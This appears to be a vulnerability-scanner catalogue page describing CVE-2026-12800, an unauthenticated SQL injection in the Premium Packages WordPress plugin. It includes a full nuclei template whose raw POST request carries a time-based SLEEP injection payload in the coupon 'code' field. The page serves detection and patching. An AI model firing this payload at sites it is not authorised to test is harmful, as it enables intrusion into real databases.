Premium Packages – Sell Digital Products Securely - SQL Injection

highseverity

7.5CVSS score

1.6%likelihood of exploitation, next 30 days

76%of all CVEs are less likely

Readycheck to confirm it

Premium Packages – Sell Digital Products Securely WordPress plugin <= 6.2.0 contains a SQL injection caused by insufficient escaping of 'code' parameter in CouponCodes::find() method, letting unauthenticated attackers extract sensitive database information via crafted SQL queries.

Impact

Unauthenticated attackers can extract sensitive database information, potentially compromising user data and site integrity.

Fix

Update to the latest version beyond 6.2.0.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/wpdm-premium-packages/readme.txt
Positive when: status_code == 200 and compare_versions(version, '<= 6.2.0')
Send: POST /wp-json/wpdmpp/v1/cart/coupon
Positive when: contains "coupon" AND duration>=5

Run it with nuclei: nuclei -id CVE-2026-12800 -u <target>

The full check

id: CVE-2026-12800

info:
  name: Premium Packages – Sell Digital Products Securely - SQL Injection
  author: HaroonArshad-53
  severity: high
  description: |
    Premium Packages – Sell Digital Products Securely WordPress plugin <= 6.2.0 contains a SQL injection caused by insufficient escaping of 'code' parameter in CouponCodes::find() method, letting unauthenticated attackers extract sensitive database information via crafted SQL queries.
  impact: |
    Unauthenticated attackers can extract sensitive database information, potentially compromising user data and site integrity.
  remediation: |
    Update to the latest version beyond 6.2.0.
  reference:
    - https://ekofyi.com/blog/cve-2026-12800-premium-packages-sql-injection
    - https://wordpress.org/plugins/wpdm-premium-packages/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-12800
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-12800
    epss-score: 0.01588
    epss-percentile: 0.75834
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    product: wpdm-premium-packages
  tags: cve,cve2026,wordpress,wp-plugin,wpdm-premium-packages,sqli,time-based,unauth

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wpdm-premium-packages/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - compare_versions(version, '<= 6.2.0')
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        name: version
        group: 1
        regex:
          - 'Stable tag: ([0-9.]+)'
        internal: true

  - raw:
      - |
        POST /wp-json/wpdmpp/v1/cart/coupon HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"code":"zznone' OR (SELECT SLEEP(5)) AND '1'='1"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        case-insensitive: true
        words:
          - "coupon"

      - type: dsl
        dsl:
          - "duration>=5"

References

Use this check only on systems you are authorised to test. Where the data comes from